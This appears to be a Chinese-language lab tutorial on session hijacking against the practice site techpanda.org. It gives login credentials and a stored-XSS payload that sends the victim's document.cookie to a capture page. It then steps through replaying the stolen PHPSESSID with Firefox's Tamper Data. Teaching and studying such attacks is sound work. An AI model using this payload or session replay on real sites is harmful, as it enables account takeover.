黑客行为:入侵一个网站

在这个实际的场景中，我们将劫持位于www.techpanda.org(可能需要外网访问)的web应用程序的用户会话。我们将使用跨站点脚本来获取cookie会话id，然后使用它来模拟一个合法的用户会话。

假设攻击者可以访问web应用程序，并且他想劫持使用同一应用程序的其他用户的会话。这种攻击的目标可能是获得对web应用程序的管理访问权，假设攻击者的访问帐户是有限的。

准备开始

• 打开http://www.techpanda.org/

• 登录邮箱为admin@google.com，密码为Password2010

• 如果你已经成功登录，那么你将跳转到如下页面

• 点击Add New Contact
• 输入以下内容作为first name

<a href=# onclick="document.location='http://techpanda.org/snatch_sess_id.php?c='+escape(document.cookie);">Dark</a>

上面的代码使用了JAVAScript，它添加了一个带有onclick事件的超链接。当不知情的用户单击该链接时，事件将检索PHP cookie会话ID并将其连同URL中的会话ID一起发送到snatch_sess_id.php页面

• 输入如下所示的其余细节

• 点击Save Changes

• 现在，你的仪表板将看起来像下面这样

• 因为跨站点脚本代码存储在数据库中，所以每次有访问权限的用户登录时都会加载它

• 让我们假设管理员登录并单击显示为Dark的超链接

• 我们将获得一个显示在URL中的会话id的窗口

注意：脚本可以将值发送到存储PHPSESSID的远程服务器，然后用户重定向回网站，就像什么都没有发生一样。

使用Firefox和Tamper Data插件来模拟会话

下面的流程图显示了完成这个练习必须采取的步骤。

• 你将需要Firefox web浏览器和Tamper Data插件来完成这部分
• 打开Firefox并安装添加，如下图所示

• 搜索tamper data，然后单击安装，如上所示

• 点击Accept and Install…

• 当安装完成时，单击Restart now
• 如果菜单栏没有显示，请启用它

• 单击tools，然后选择tamper data，如下所示

• 你将看到以下窗口。注意：如果窗户不是空，点击clear按钮

• 点击Start Tamper

• 切换回Firefox web浏览器，输入http://www.techpanda.org/dashboard.php，然后按enter键加载页面

• 你将从tamper data中得到以下弹出框

• 弹出窗口有三个选项。Tamper选项允许你在将HTTP头信息提交给服务器之前修改它。

• 点击它，你将看到以下窗口

• 复制从攻击URL复制的PHP会话ID，并将其粘贴到等号后面。现在你的值应该是这样的

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• 点击OK按钮
• 你将再次看到tamper data弹出窗口

• 取消Continue Tampering复选框
• 完成后单击submit按钮，你应该能够看到如下所示的信息

注意：我们没有登录，我们使用使用跨站点脚本检索到的PHPSESSID值模拟了一个登录会话

希望通过这篇文章你们能够对网络渗透有一个初步了解。